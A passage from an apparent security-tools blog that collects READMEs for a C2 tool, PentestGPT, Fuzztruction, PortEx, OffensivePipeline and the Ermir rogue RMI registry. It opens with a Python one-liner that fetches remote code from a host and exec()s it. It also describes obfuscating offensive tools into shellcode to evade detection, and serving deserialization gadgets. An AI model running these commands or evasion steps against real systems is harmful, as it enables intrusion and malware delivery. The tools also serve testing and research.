python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""


Get list of active tunnels:

python3 get_endpoints.py


Generate new RSA key pairs:

python3 gen_rsa.py

Advanced Usage

Using SFTP and SCP - you don't need a valid username just the correct id_rsa

  • With proxy:

proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST

scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path


  • No proxy:

sftp -P PORT -i id_rsa ddddd@NGROK_HOST

scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path


Compiling with Nuitka

python -m pip install nuitka

python -m nuitka --standalone --onefile asyncssh_server.py


Weaponized server

https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py

For furter information check the related article: https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/

DISCLAIMER: This tool is intended for testing and educational purposes only. It should only be used on systems with proper authorization. Any unauthorized or illegal use of this tool is strictly prohibited. The creator of this tool holds no responsibility for any misuse or damage caused by its usage. Please ensure compliance with applicable laws and regulations while utilizing this tool. Additionally, it’s important to note that the usage of Ngrok in conjunction with this tool may result in the violation of the terms of service or policies of certain platforms. It is advisable to review and comply with the terms of use of any platform or service to avoid potential account bans or disruptions.



PentestGPT - A GPT-empowered Penetration Testing Tool

By: Zion3R


A GPT-empowered penetration testing tool.

Common Questions

  • Q: What is PentestGPT?
    • A: PentestGPT is a penetration testing tool empowered by ChatGPT. It is designed to automate the penetration testing process. It is built on top of ChatGPT and operate in an interactive mode to guide penetration testers in both overall progress and specific operations.
  • Q: Do I need to be a ChatGPT plus member to use PentestGPT?
    • A: Yes. PentestGPT relies on GPT-4 model for high-quality reasoning. Since there is no public GPT-4 API yet, a wrapper is included to use ChatGPT session to support PentestGPT. You may also use GPT-4 API directly if you have access to it.
  • Q: Why GPT-4?
    • A: After empirical evaluation, we found that GPT-4 performs better than GPT-3.5 in terms of penetration testing reasoning. In fact, GPT-3.5 leads to failed test in simple tasks.
  • Q: Why not just use GPT-4 directly?
    • A: We found that GPT-4 suffers from losses of context as test goes deeper. It is essential to maintain a "test status awareness" in this process. You may check the PentestGPT design here for more details.
  • Q: What about AutoGPT?
    • A: AutoGPT is not designed for pentest. It may perform malicious operations. Due to this consideration, we design PentestGPT in an interactive mode. Of course, our end goal is an automated pentest solution.
  • Q: Future plan?
    • A: We're working on a paper to explore the tech details behind automated pentest. Meanwhile, please feel free to raise issues/discussions. I'll do my best to address all of them.

Getting Started

  • PentestGPT is a penetration testing tool empowered by ChatGPT.
  • It is designed to automate the penetration testing process. It is built on top of ChatGPT and operate in an interactive mode to guide penetration testers in both overall progress and specific operations.
  • PentestGPT is able to solve easy to medium HackTheBox machines, and other CTF challenges. You can check this example in resources where we use it to solve HackTheBox challenge TEMPLATED (web challenge).
  • A sample testing process of PentestGPT on a target VulnHub machine (Hackable II) is available at here.
  • A sample usage video is below: (or available here: Demo)

Installation

Before installation, we recommend you to take a look at this installation video if you want to use cookie setup.

  1. Install requirements.txt with pip install -r requirements.txt
  2. Configure the cookies in config. You may follow a sample by cp config/chatgpt_config_sample.py config/chatgpt_config.py.
    • If you're using cookie, please watch this video: https://youtu.be/IbUcj0F9EBc. The general steps are:
      • Login to ChatGPT session page.
      • In Inspect - Network, find the connections to the ChatGPT session page.
      • Find the cookie in the request header in the request to https://chat.openai.com/api/auth/session and paste it into the cookie field of config/chatgpt_config.py. (You may use Inspect->Network, find session and copy the cookie field in request_headers to https://chat.openai.com/api/auth/session)
      • Note that the other fields are temporarily deprecated due to the update of ChatGPT page.
      • Fill in userAgent with your user agent.
    • If you're using API:
      • Fill in the OpenAI API key in chatgpt_config.py.
  3. To verify that the connection is configured properly, you may run python3 test_connection.py. You should see some sample conversation with ChatGPT.
    • A sample output is below
    1. You're connected with ChatGPT Plus cookie. 
    To start PentestGPT, please use <python3 main.py --reasoning_model=gpt-4>
    ## Test connection for OpenAI api (GPT-4)
    2. You're connected with OpenAI API. You have GPT-4 access. To start PentestGPT, please use <python3 main.py --reasoning_model=gpt-4 --useAPI>
    ## Test connection for OpenAI api (GPT-3.5)
    3. You're connected with OpenAI API. You have GPT-3.5 access. To start PentestGPT, please use <python3 main.py --reasoning_model=gpt-3.5-turbo --useAPI>
  4. (Notice) The above verification process for cookie. If you encounter errors after several trials, please try to refresh the page, repeat the above steps, and try again. You may also try with the cookie to https://chat.openai.com/backend-api/conversations. Please submit an issue if you encounter any problem.

Usage

  1. To start, run python3 main.py --args.
    • --reasoning_model is the reasoning model you want to use.
    • --useAPI is whether you want to use OpenAI API.
    • You're recommended to use the combination as suggested by test_connection.py, which are:
      • python3 main.py --reasoning_model=gpt-4
      • python3 main.py --reasoning_model=gpt-4 --useAPI
      • python3 main.py --reasoning_model=gpt-3.5-turbo --useAPI
  2. The tool works similar to msfconsole. Follow the guidance to perform penetration testing.
  3. In general, PentestGPT intakes commands similar to chatGPT. There are several basic commands.
    1. The commands are:
      • help: show the help message.
      • next: key in the test execution result and get the next step.
      • more: let PentestGPT to explain more details of the current step. Also, a new sub-task solver will be created to guide the tester.
      • todo: show the todo list.
      • discuss: discuss with the PentestGPT.
      • google: search on Google. This function is still under development.
      • quit: exit the tool and save the output as log file (see the reporting section below).
    2. You can use <SHIFT + right arrow> to end your input (and is for next line).
    3. You may always use TAB to autocomplete the commands.
    4. When you're given a drop-down selection list, you can use cursor or arrow key to navigate the list. Press ENTER to select the item. Similarly, use <SHIFT + right arrow> to confirm selection.
  4. In the sub-task handler initiated by more, users can execute more commands to investigate into a specific problem:
    1. The commands are:
      • help: show the help message.
      • brainstorm: let PentestGPT brainstorm on the local task for all the possible solutions.
      • discuss: discuss with PentestGPT about this local task.
      • google: search on Google. This function is still under development.
      • continue: exit the subtask and continue the main testing session.

Report and Logging

  1. After finishing the penetration testing, a report will be automatically generated in logs folder (if you quit with quit command).
  2. The report can be printed in a human-readable format by running python3 utils/report_generator.py <log file>. A sample report sample_pentestGPT_log.txt is also uploaded.

Contributing

Contributions are what make the open source community such an amazing place to learn, inspire, and create. Any contributions you make are greatly appreciated.

If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also simply open an issue with the tag "enhancement". Don't forget to give the project a star! Thanks again!

  1. Fork the Project
  2. Create your Feature Branch (git checkout -b feature/AmazingFeature)
  3. Commit your Changes (git commit -m 'Add some AmazingFeature')
  4. Push to the Branch (git push origin feature/AmazingFeature)
  5. Open a Pull Request

License

Distributed under the MIT License. See LICENSE.txt for more information.

Contact

Gelei Deng - gelei.deng@ntu.edu.sg



Fuzztruction - Prototype Of A Fuzzer That Does Not Directly Mutate Inputs (As Most Fuzzers Do) But Instead Uses A So-Called Generator Application To Produce An Input For Our Fuzzing Target

By: Zion3R

Fuzztruction is an academic prototype of a fuzzer that does not directly mutate inputs (as most fuzzers do) but instead uses a so-called generator application to produce an input for our fuzzing target. As programs generating data usually produce the correct representation, our fuzzer mutates the generator program (by injecting faults), such that the data produced is almost valid. Optimally, the produced data passes the parsing stages in our fuzzing target, called consumer, but triggers unexpected behavior in deeper program logic. This allows to even fuzz targets that utilize cryptography primitives such as encryption or message integrity codes. The main advantage of our approach is that it generates complex data without requiring heavyweight program analysis techniques, grammar approximations, or human intervention.

For instructions on how to reproduce the experiments from the paper, please read the fuzztruction-experiments submodule documentation after reading this document.

Compatibility: While we try to make sure that our prototype is as platform independent as possible, we are not able to test it on all platforms. Thus, if you run into issues, please use Ubuntu 22.04.1, which was used during development as the host system.

Β 

Quickstart

# Clone the repository
git clone --recurse-submodules https://github.com/fuzztruction/fuzztruction.git

# Option 1: Get a pre-built version of our runtime environment.
# To ease reproduction of experiments in our paper, we recommend using our
# pre-built environment to avoid incompatibilities (~30 GB of data will be
# donwloaded)
# Do NOT use this if you don't want to reproduce our results but instead fuzz
# own targets (use the next command instead).
./env/pull-prebuilt.sh

# Option 2: Build the runtime environment for Fuzztruction from scratch.
# Do NOT run this if you executed pull-prebuilt.sh
./env/build.sh

# Spawn a container based on the image built/pulled before.
# To spawn a container using the prebuilt image (if pulled above),
# you need to set USE_PREBUILT to 1, e.g., `USE_PREBUILT=1 ./env/start.sh`
./env /start.sh

# Calling this script again will spawn a shell inside the container.
# (can be called multiple times to spawn multiple shells within the same
# container).
./env/start.sh

# Runninge start.sh the second time will automatically build the fuzzer.

# See `Fuzzing a Target using Fuzztruction` below for further instructions.

Components

Fuzztruction contains the following core components:

Scheduler

The scheduler orchestrates the interaction of the generator and the consumer. It governs the fuzzing campaign, and its main task is to organize the fuzzing loop. In addition, it also maintains a queue containing queue entries. Each entry consists of the seed input passed to the generator (if any) and all mutations applied to the generator. Each such queue entry represents a single test case. In traditional fuzzing, such a test case would be represented as a single file. The implementation of the scheduler is located in the scheduler directory.

Generator

The generator can be considered a seed generator for producing inputs tailored to the fuzzing target, the consumer. While common fuzzing approaches mutate inputs on the fly through bit-level mutations, we mutate inputs indirectly by injecting faults into the generator program. More precisely, we identify and mutate data operations the generator uses to produce its output. To facilitate our approach, we require a program that generates outputs that match the input format the fuzzing target expects.

The implementation of the generator can be found in the generator directory. It consists of two components that are explained in the following.

Compiler Pass

The compiler pass (generator/pass) instruments the target using so-called patch points. Since the current (tested on LLVM12 and below) implementation of this feature is unstable, we patch LLVM to enable them for our approach. The patches can be found in the llvm repository (included here as submodule). Please note that the patches are experimental and not intended for use in production.

The locations of the patch points are recorded in a separate section inside the compiled binary. The code related to parsing this section can be found at lib/llvm-stackmap-rs, which we also published on crates.io.

During fuzzing, the scheduler chooses a target from the set of patch points and passes its decision down to the agent (described below) responsible for applying the desired mutation for the given patch point.

Agent

The agent, implemented in generator/agent is running in the context of the generator application that was compiled with the custom compiler pass. Its main tasks are the implementation of a forkserver and communicating with the scheduler. Based on the instruction passed from the scheduler via shared memory and a message queue, the agent uses a JIT engine to mutate the generator.

Consumer

The generator's counterpart is the consumer: It is the target we are fuzzing that consumes the inputs generated by the generator. For Fuzztruction, it is sufficient to compile the consumer application with AFL++'s compiler pass, which we use to record the coverage feedback. This feedback guides our mutations of the generator.

Preparing the Runtime Environment (Docker Image)

Before using Fuzztruction, the runtime environment that comes as a Docker image is required. This image can be obtained by building it yourself locally or pulling a pre-built version. Both ways are described in the following. Before preparing the runtime environment, this repository, and all sub repositories, must be cloned:

git clone --recurse-submodules https://github.com/fuzztruction/fuzztruction.git

Local Build

The Fuzztruction runtime environment can be built by executing env/build.sh. This builds a Docker image containing a complete runtime environment for Fuzztruction locally. By default, a pre-built version of our patched LLVM version is used and pulled from Docker Hub. If you want to use a locally built LLVM version, check the llvm directory.

Pre-built

In most cases, there is no particular reason for using the pre-built environment -- except if you want to reproduce the exact experiments conducted in the paper. The pre-built image provides everything, including the pre-built evaluation targets and all dependencies. The image can be retrieved by executing env/pull-prebuilt.sh.

The following section documents how to spawn a runtime environment based on either a locally built image or the prebuilt one. Details regarding the reproduction of the paper's experiments can be found in the fuzztruction-experiments submodule.

Managing the Runtime Environment Lifecycle

After building or pulling a pre-built version of the runtime environment, the fuzzer is ready to use. The fuzzers environment lifecycle is managed by a set of scripts located in the env folder.

Script Description
./env/start.sh Spawn a new container or spawn a shell into an already running container. Prebuilt: Exporting USE_PREBUILT=1 spawns a container based on a pre-built environment. For switching from pre-build to local build or the other way around, stop.sh must be executed first.
./env/stop.sh This stops the container. Remember to call this after rebuilding the image.

Using start.sh, an arbitrary number of shells can be spawned in the container. Using Visual Studio Codes' Containers extension allows you to work conveniently inside the Docker container.

Several files/folders are mounted from the host into the container to facilitate data exchange. Details regarding the runtime environment are provided in the next section.

Runtime Environment Details

This section details the runtime environment (Docker container) provided alongside Fuzztruction. The user in the container is named user and has passwordless sudo access per default.

Permissions: The Docker images' user is named user and has the same User ID (UID) as the user who initially built the image. Thus, mounts from the host can be accessed inside the container. However, in the case of using the pre-built image, this might not be the case since the image was built on another machine. This must be considered when exchanging data with the host.

Inside the container, the following paths are (bind) mounted from the host:

Container Path Host Path Note
/home/user/fuzztruction ./ Pre-built: This folder is part of the image in case the pre-built image is used. Thus, changes are not reflected to the host.
/home/user/shared ./ Used to exchange data with the host.
/home/user/.zshrc ./data/zshrc -
/home/user/.zsh_history ./data/zsh_history -
/home/user/.bash_history ./data/bash_history -
/home/user/.config/nvim/init.vim ./data/init.vim -
/home/user/.config/Code ./data/vscode-data Used to persist Visual Studio Code config between container restarts.
/ssh-agent $SSH_AUTH_SOCK Allows using the SSH-Agent inside the container if it runs on the host.
/home/user/.gitconfig /home/$USER/.gitconfig Use gitconfig from the host, if there is any config.
/ccache ./data/ccache Used to persist ccache cache between container restarts.

Usage

After building the Docker runtime environment and spawning a container, the Fuzztruction binary itself must be built. After spawning a shell inside the container using ./env/start.sh, the build process is triggered automatically. Thus, the steps in the next section are primarily for those who want to rebuild Fuzztruction after applying modifications to the code.

Building Fuzztruction

For building Fuzztruction, it is sufficient to call cargo build in /home/user/fuzztruction. This will build all components described in the Components section. The most interesting build artifacts are the following:

Artifacts Description
./generator/pass/fuzztruction-source-llvm-pass.so The LLVM pass is used to insert the patch points into the generator application. Note: The location of the pass is recorded in /etc/ld.so.conf.d/fuzztruction.conf; thus, compilers are able to find the pass during compilation. If you run into trouble because the pass is not found, please run sudo ldconfig and retry using a freshly spawned shell.
./generator/pass/fuzztruction-source-clang-fast A compiler wrapper for compiling the generator application. This wrapper uses our custom compiler pass, links the targets against the agent, and injects a call to the agents' init method into the generator's main.
./target/debug/libgenerator_agent.so The agent the is injected into the generator application.
./target/debug/fuzztruction The fuzztruction binary representing the actual fuzzer.

Fuzzing a Target using Fuzztruction

We will use libpng as an example to showcase Fuzztruction's capabilities. Since libpng is relatively small and has no external dependencies, it is not required to use the pre-built image for the following steps. However, especially on mobile CPUs, the building process may take up to several hours for building the AFL++ binary because of the collision free coverage map encoding feature and compare splitting.

Building the Target

Pre-built: If the pre-built version is used, building is unnecessary and this step can be skipped.
Switch into the fuzztruction-experiments/comparison-with-state-of-the-art/binaries/ directory and execute ./build.sh libpng. This will pull the source and start the build according to the steps defined in libpng/config.sh.

Benchmarking the Target

Using the following command

sudo ./target/debug/fuzztruction fuzztruction-experiments/comparison-with-state-of-the-art/configurations/pngtopng_pngtopng/pngtopng-pngtopng.yml  --purge --show-output benchmark -i 100

allows testing whether the target works. Each target is defined using a YAML configuration file. The files are located in the configurations directory and are a good starting point for building your own config. The pngtopng-pngtopng.yml file is extensively documented.

Troubleshooting

If the fuzzer terminates with an error, there are multiple ways to assist your debugging efforts.

  • Passing --show-output to fuzztruction allows you to observe stdout/stderr of the generator and the consumer if they are not used for passing or reading data from each other.
  • Setting AFL_DEBUG in the env section of the sink in the YAML config can give you a more detailed output regarding the consumer.
  • Executing the generator and consumer using the same flags as in the config file might reveal any typo in the command line used to execute the application. In the case of using LD_PRELOAD, double check the provided paths.

Running the Fuzzer

To start the fuzzing process, executing the following command is sufficient:

sudo ./target/debug/fuzztruction ./fuzztruction-experiments/comparison-with-state-of-the-art/configurations/pngtopng_pngtopng/pngtopng-pngtopng.yml fuzz -j 10 -t 10m

This will start a fuzzing run on 10 cores, with a timeout of 10 minutes. Output produced by the fuzzer is stored in the directory defined by the work-directory attribute in the target's config file. In case of pngtopng, the default location is /tmp/pngtopng-pngtopng.

If the working directory already exists, --purge must be passed as an argument to fuzztruction to allow it to rerun. The flag must be passed before the subcommand, i.e., before fuzz or benchmark.

Combining Fuzztruction and AFL++

For running AFL++ alongside Fuzztruction, the aflpp subcommand can be used to spawn AFL++ workers that are reseeded during runtime with inputs found by Fuzztruction. Assuming that Fuzztruction was executed using the command above, it is sufficient to execute

sudo ./target/debug/fuzztruction ./fuzztruction-experiments/comparison-with-state-of-the-art/configurations/pngtopng_pngtopng/pngtopng-pngtopng.yml aflpp -j 10 -t 10m

for spawning 10 AFL++ processes that are terminated after 10 minutes. Inputs found by Fuzztruction and AFL++ are periodically synced into the interesting folder in the working directory. In case AFL++ should be executed independently but based on the same .yml configuration file, the --suffix argument can be used to append a suffix to the working directory of the spawned fuzzer.

Computing Coverage

After the fuzzing run is terminated, the tracer subcommand allows to retrieve a list of covered basic blocks for all interesting inputs found during fuzzing. These traces are stored in the traces subdirectory located in the working directory. Each trace contains a zlib compressed JSON object of the addresses of all basic blocks (in execution order) exercised during execution. Furthermore, metadata to map the addresses to the actual ELF file they are located in is provided.

The coverage tool located at ./target/debug/coverage can be used to process the collected data further. You need to pass it the top-level directory containing working directories created by Fuzztruction (e.g., /tmp in case of the previous example). Executing ./target/debug/coverage /tmp will generate a .csv file that maps time to the number of covered basic blocks and a .json file that maps timestamps to sets of found basic block addresses. Both files are located in the working directory of the specific fuzzing run.



PortEx - Java Library To Analyse Portable Executable Files With A Special Focus On Malware Analysis And PE Malformation Robustness


PortEx is a Java library for static malware analysis of Portable Executable files. Its focus is on PE malformation robustness, and anomaly detection. PortEx is written in Java and Scala, and targeted at Java applications.

Features

  • Reading header information from: MSDOS Header, COFF File Header, Optional Header, Section Table
  • Reading PE structures: Imports, Resources, Exports, Debug Directory, Relocations, Delay Load Imports, Bound Imports
  • Dumping of sections, resources, overlay, embedded ZIP, JAR or .class files
  • Scanning for file format anomalies, including structural anomalies, deprecated, reserved, wrong or non-default values.
  • Visualize PE file structure, local entropies and byteplot of the file with variable colors and sizes
  • Calculate Shannon Entropy and Chi Squared for files and sections
  • Calculate ImpHash and Rich and RichPV hash values for files and sections
  • Parse RichHeader and verify checksum
  • Calculate and verify Optional Header checksum
  • Scan for PEiD signatures, internal file type signatures or your own signature database
  • Scan for Jar to EXE wrapper (e.g. exe4j, jsmooth, jar2exe, launch4j)
  • Extract Unicode and ASCII strings contained in the file
  • Extraction and conversion of .ICO files from icons in the resource section
  • Extraction of version information and manifest from the file
  • Reading .NET metadata and streams (Alpha)

For more information have a look at PortEx Wiki and the Documentation

PortexAnalyzer CLI and GUI

PortexAnalyzer CLI is a command line tool that runs the library PortEx under the hood. If you are looking for a readily compiled command line PE scanner to analyse files with it, download it from here PortexAnalyzer.jar

The GUI version is available here: PortexAnalyzerGUI

Using PortEx

Including PortEx to a Maven Project

You can include PortEx to your project by adding the following Maven dependency:

<dependency>
<groupId>com.github.katjahahn</groupId>
<artifactId>portex_2.12</artifactId>
<version>4.0.0</version>
</dependency>

To use a local build, add the library as follows:

<dependency>
<groupId>com.github.katjahahn</groupId>
<artifactId>portex_2.12</artifactId>
<version>4.0.0</version>
<scope>system</scope>
<systemPath>$PORTEXDIR/target/scala-2.12/portex_2.12-4.0.0.jar</systemPath>
</dependency>

Including PortEx to an SBT project

Add the dependency as follows in your build.sbt

libraryDependencies += "com.github.katjahahn" % "portex_2.12" % "4.0.0"

Building PortEx

Requirements

PortEx is build with sbt

Compile and Build With sbt

To simply compile the project invoke:

$ sbt compile

To create a jar:

$ sbt package

To compile a fat jar that can be used as command line tool, type:

$ sbt assembly

Create Eclipse Project

You can create an eclipse project by using the sbteclipse plugin. Add the following line to project/plugins.sbt:

addSbtPlugin("com.typesafe.sbteclipse" % "sbteclipse-plugin" % "2.4.0")

Generate the project files for Eclipse:

$ sbt eclipse

Import the project to Eclipse via the Import Wizard.

Donations

I develop PortEx and PortexAnalyzer as a hobby in my freetime. If you like it, please consider buying me a coffee: https://ko-fi.com/struppigel

Author

Karsten Hahn

Twitter: @Struppigel

Mastodon: struppigel@infosec.exchange

Youtube: MalwareAnalysisForHedgehogs



OffensivePipeline - Allows You To Download And Build C# Tools, Applying Certain Modifications In Order To Improve Their Evasion For Red Team Exercises


OfensivePipeline allows you to download and build C# tools, applying certain modifications in order to improve their evasion for Red Team exercises.
A common use of OffensivePipeline is to download a tool from a Git repository, randomise certain values in the project, build it, obfuscate the resulting binary and generate a shellcode.


Features

  • Currently only supports C# (.Net Framework) projects
  • Allows to clone public and private (you will need credentials :D) git repositories
  • Allows to work with local folders
  • Randomizes project GUIDs
  • Randomizes application information contained in AssemblyInfo
  • Builds C# projects
  • Obfuscates generated binaries
  • Generates shellcodes from binaries
  • There are 79 tools parameterised in YML templates (not all of them may work :D)
  • New tools can be added using YML templates
  • It should be easy to add new plugins...

What's new in version 2.0

  • Almost complete code rewrite (new bugs?)
  • Cloning from private repositories possible (authentication via GitHub authToken)
  • Possibility to copy a local folder instead of cloning from a remote repository
  • New module to generate shellcodes with Donut
  • New module to randomize GUIDs of applications
  • New module to randomize the AssemblyInfo of each application
  • 60 new tools added

Examples

  • List all tools:
OffensivePipeline.exe list
  • Build all tools:
OffensivePipeline.exe all
  • Build a tool
OffensivePipeline.exe t toolName
  • Clean cloned and build tools
OffensivePipeline.exe 

Output example

PS C:\OffensivePipeline> .\OffensivePipeline.exe t rubeus

ooo
.osooooM M
___ __ __ _ ____ _ _ _ +y. M M
/ _ \ / _|/ _| ___ _ __ ___(_)_ _____| _ \(_)_ __ ___| (_)_ __ ___ :h .yoooMoM
| | | | |_| |_ / _ \ '_ \/ __| \ \ / / _ \ |_) | | '_ \ / _ \ | | '_ \ / _ \ oo oo
| |_| | _| _| __/ | | \__ \ |\ V / __/ __/| | |_) | __/ | | | | | __/ oo oo
\___/|_| |_| \___|_| |_|___/_| \_/ \___|_| |_| .__/ \___|_|_|_| |_|\___| oo oo
|_| MoMoooy. h:
M M .y+
M Mooooso.
ooo

@aetsu
v2.0.0


[+] Loading tool: Rubeus
Clonnig repository: Rubeus into C:\OffensivePipeline\Git\Rubeus
Repository Rubeus cloned into C:\OffensivePipeline\Git\Rubeus

[+] Load RandomGuid module
Searching GUIDs...
> C:\OffensivePipeline\Git\Rubeus\Rubeus.sln
> C:\OffensivePipeline\Git\Rubeus\Rubeus\Rubeus.csproj
> C:\OffensivePipeline\Git\Rubeus\Rubeus\Properties\AssemblyInfo.cs
Replacing GUIDs...
File C:\OffensivePipeline\Git\Rubeus\Rubeus.sln:
> Replacing GUID 658C8B7F-3664-4A95-9572-A3E5871DFC06 with 3bd82351-ac9a-4403-b1e7-9660e698d286
> Replacing GUID FAE04EC0-301F-11D3-BF4B-00C04F79EFBC with 619876c2-5a8b-4c48-93c3-f87ca520ac5e
> Replacing GUID 658c8b7f-3664-4a95-9572-a3e5871dfc06 with 11e0084e-937f-46d7-83b5-38a496bf278a
[+] No errors!
File C:\OffensivePipeline\Git\Rubeus\Rubeus\Rubeus.csproj:
> Replacing GUID 658C8B7F-3664-4A95-9572-A3E5871DFC06 with 3bd82351-ac9a-4403-b1e7-9660e698d286
> Replacing GUID FAE04EC0-301F-11D3-BF4B-00C04F79EFBC with 619876c2-5a8b-4c48-93c3-f87ca520ac5e
> Replacing GUID 658c8b7f-3664-4a95-9572-a3e5871dfc06 with 11e0084e-937f-46d7-83b5-38a496bf278a
[+] No errors!
File C:\OffensivePipeline\Git\Rubeus\Rubeus\Properties\AssemblyInfo.cs:
> Replacing GUID 658C8B7F-3664-4A95-9572-A3E5871DFC06 with 3bd82351-ac9a-4403-b1e7-9660e698d286
> Replacing GUID FAE04EC0-301F-11D3-BF4B-00C04F79EFBC with 619876c2-5a8b-4c48-93c3-f87ca520ac5e
> Replacing GUID 658c8b7f-3664-4a95-9572-a3e5871dfc06 with 11e0084e-937f-46d7-83b5-38a496bf278a
[+] No errors!


[+] Load RandomAssemblyInfo module
Replacing strings in C:\OffensivePipeline\Git\Rubeus\Rubeus\Properties\AssemblyInfo.cs
[assembly: AssemblyTitle("Rubeus")] -> [assembly: AssemblyTitle("g4ef3fvphre")]
[assembly: AssemblyDescription("")] -> [assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")] -> [assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")] -> [assembly: AssemblyCompany("")]
[assembly: AssemblyProduc t("Rubeus")] -> [assembly: AssemblyProduct("g4ef3fvphre")]
[assembly: AssemblyCopyright("Copyright Β© 2018")] -> [assembly: AssemblyCopyright("Copyright Β© 2018")]
[assembly: AssemblyTrademark("")] -> [assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")] -> [assembly: AssemblyCulture("")]


[+] Load BuildCsharp module
[+] Checking requirements...
[*] Downloading nuget.exe from https://dist.nuget.org/win-x86-commandline/latest/nuget.exe
[+] Download OK - nuget.exe
[+] Path found - C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\Common7\Tools\VsDevCmd.bat
Solving dependences with nuget...
Building solution...
[+] No errors!
[+] Output folder: C:\OffensivePipeline\Output\Rubeus_vh00nc50xud


[+] Load ConfuserEx module
[+] Checking requirements...
[+] Downloading ConfuserEx from https://github.com/mkaring/ConfuserEx/releases/download/v1.6.0/ConfuserEx-CLI.zip
[+] Download OK - ConfuserEx
Confusing...
[+] No errors!


[+] Load Donut module
Generating shellcode...

Payload options:
Domain: RMM6XFC3
Runtime:v4.0.30319

Raw Payload: C:\OffensivePipeline\Output\Rubeus_vh00nc50xud\ConfuserEx\Donut\Rubeus.bin
B64 Payload: C:\OffensivePipeline\Output\Rubeus_vh00nc50xud\ConfuserEx\Donut\Rubeus.bin.b64

[+] No errors!


[+] Generating Sha256 hashes
Output file: C:\OffensivePipeline\Output\Rubeus_vh00nc50xud


-----------------------------------------------------------------
SUMMARY

- Rubeus
- RandomGuid: OK
- RandomAssemblyInfo: OK
- BuildCsharp: OK
- ConfuserEx: OK
- Donut: OK

-----------------------------------------------------------------

Plugins

  • RandomGuid: randomise the GUID in .sln, .csproj and AssemblyInfo.cs files
  • RandomAssemblyInfo: randomise the values defined in AssemblyInfo.cs
  • BuildCsharp: build c# project
  • ConfuserEx: obfuscate c# tools
  • Donut: use Donut to generate shellcodes. The shellcode generated is without parameters, in future releases this may be changed.

Add a tool from a remote git

The scripts for downloading the tools are in the Tools folder in yml format. New tools can be added by creating new yml files with the following format:

  • Rubeus.yml file:
tool:
- name: Rubeus
description: Rubeus is a C# toolset for raw Kerberos interaction and abuses
gitLink: https://github.com/GhostPack/Rubeus
solutionPath: Rubeus\Rubeus.sln
language: c#
plugins: RandomGuid, RandomAssemblyInfo, BuildCsharp, ConfuserEx, Donut
authUser:
authToken:

Where:

  • Name: name of the tool
  • Description: tool description
  • GitLink: link from git to clone
  • SolutionPath: solution (sln file) path
  • Language: language used (currently only c# is supported)
  • Plugins: plugins to use on this tool build process
  • AuthUser: user name from github (not used for public repositories)
  • AuthToken: auth token from github (not used for public repositories)

Add a tool from a private git

tool:
- name: SharpHound3-Custom
description: C# Rewrite of the BloodHound Ingestor
gitLink: https://github.com/aaaaaaa/SharpHound3-Custom
solutionPath: SharpHound3-Custom\SharpHound3.sln
language: c#
plugins: RandomGuid, RandomAssemblyInfo, BuildCsharp, ConfuserEx, Donut
authUser: aaaaaaa
authToken: abcdefghijklmnopqrsthtnf

Where:

  • Name: name of the tool
  • Description: tool description
  • GitLink: link from git to clone
  • SolutionPath: solution (sln file) path
  • Language: language used (currently only c# is supported)
  • Plugins: plugins to user on this tool build process
  • AuthUser: user name from GitHub
  • AuthToken: auth token from GitHub (documented at GitHub: creating a personal access token)

Add a tool from local git folder

tool:
- name: SeatbeltLocal
description: Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
gitLink: C:\Users\alpha\Desktop\SeatbeltLocal
solutionPath: SeatbeltLocal\Seatbelt.sln
language: c#
plugins: RandomGuid, RandomAssemblyInfo, BuildCsharp, ConfuserEx, Donut
authUser:
authToken:

Where:

  • Name: name of the tool
  • Description: tool description
  • GitLink: path where the tool is located
  • SolutionPath: solution (sln file) path
  • Language: language used (currently only c# is supported)
  • Plugins: plugins to user on this tool build process
  • AuthUser: user name from github (not used for local repositories)
  • AuthToken: auth token from github (not used for local repositories)

Requirements for the release version (Visual Studio 2019/2022 is not required)

In the OffensivePipeline.dll.config file it's possible to change the version of the build tools used.

  • Build Tools 2019:
<add key="BuildCSharpTools" value="C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\Common7\Tools\VsDevCmd.bat"/>
  • Build Tools 2022:
<add key="BuildCSharpTools" value="C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\Common7\Tools\VsDevCmd.bat"/>

Requirements for build

Credits

Supported tools



Ermir - An Evil Java RMI Registry


Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization on any Java code calling standard RMI methods on it (list()/lookup()/bind()/rebind()/unbind()).


Requirements

  • Ruby v3 or newer.

Installation

Install Ermir from rubygems.org:

$ gem install ermir

or clone the repo and build the gem:

$ git clone https://github.com/hakivvi/ermir.git
$ rake install

Usage

Ermir is a cli gem, it comes with 2 cli files ermir and gadgetmarshal, ermir is the actual gem and the latter is just a pretty interface to GadgetMarshaller.java file which rewrites the gadgets of Ysoserial to match MarshalInputStream requirements, the output should be then piped into ermir or a file, in case of custom gadgets use MarshalOutputStream instead of ObjectOutputStream to write your serialized object to the output stream.

ermir usage:

RMI Registry which exploits unsecure Java deserialization on any Java code calling standard RMI methods on it. Usage: ermir [options] -l, --listen bind the RMI Registry to this ip and port (default: 0.0.0.0:1099). -f, --file path to file containing the gadget to be deserialized. -p, --pipe read the serialized gadget from the standard input stream. -v, --version print Ermir version. -h, --help print options help. Example: $ gadgetmarshal /path/to/ysoserial.jar Groovy1 calc.exe | ermir --listen 127.0.0.1:1099 --pipe" dir="auto">
➜  ~ ermir
Ermir by @hakivvi * https://github.com/hakivvi/ermir.
Info:
Ermir is a Rogue/Evil RMI Registry which exploits unsecure Java deserialization on any Java code calling standard RMI methods on it.
Usage: ermir [options]
-l, --listen bind the RMI Registry to this ip and port (default: 0.0.0.0:1099).
